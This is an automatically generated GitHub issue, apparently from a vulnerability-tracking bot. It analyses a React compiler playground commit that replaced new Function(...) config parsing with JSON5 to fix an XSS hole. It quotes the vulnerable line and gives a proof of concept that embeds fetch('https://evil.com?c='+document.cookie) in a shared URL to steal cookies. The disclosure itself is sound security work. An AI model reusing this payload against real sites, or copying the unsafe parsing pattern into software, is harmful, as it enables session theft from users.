Skip to content

[Vulnerability] facebook/react: Cross-Site Scripting (XSS) / Code Injection #126

@github-actions

Description

@github-actions

Potential Security Vulnerability Detected

Repository: facebook/react
Commit: 2c2fd9d
Author: mofeiZ
Date: 2026-03-30T17:04:50Z

Commit Message

[compiler][playground] parse compiler configs using json5 (#36159)

Compiler config parsing is currently done with new Function(...) which
is a XSS vulnerability. Replacing this with json parsing for safety
reasons.

Almost all compiler options (except for moduleTypeProvider) are json
compatible, so this isn't a big change to capabilities. Previously
created playground URLs with non-default configs may not be compatible
with this change, but we should be able to get the correct config
manually (by reading the JS version)

Pull Request

PR: #36159 - [compiler][playground] parse compiler configs using json5
Labels: CLA Signed

Description:

Compiler config parsing is currently done with new Function(...) which is a XSS vulnerability. Replacing this with json parsing for safety reasons.

Almost all compiler options (except for moduleTypeProvider) are json compatible, so this isn't a big change to capabilities. Previously created playground URLs with non-default configs may not be compatible with this change, but we should be able to get the correct config manually (by reading the JS version)

Analysis

Vulnerability Type: Cross-Site Scripting (XSS) / Code Injection
Severity: High

Description

The compiler playground parsed user-supplied config overrides using new Function(...), which executes arbitrary JavaScript code in the browser context. An attacker could craft a malicious URL with a base64/encoded config payload containing arbitrary JS, which when shared and opened by a victim, would execute the attacker's code in the victim's browser. The patch replaces new Function(...) with JSON5 parsing, which only allows data literals and rejects executable code.

Affected Code

configOverrideOptions = new Function(`return (${configString})`)();

Proof of Concept

Craft a playground URL with a config store containing the following config string (which matches the expected format): `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';

({
  compilationMode: (fetch('https://evil.com?c='+document.cookie), 'all')
} satisfies PluginOptions);` — encode this as the store's config field using encodeStore(), then share the URL. When a victim opens the URL, `fetch('https://evil.com?c='+document.cookie)` executes, exfiltrating their cookies.

This issue was automatically created by Vulnerability Spoiler Alert.
Detected at: 2026-03-30T17:16:08.155Z

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions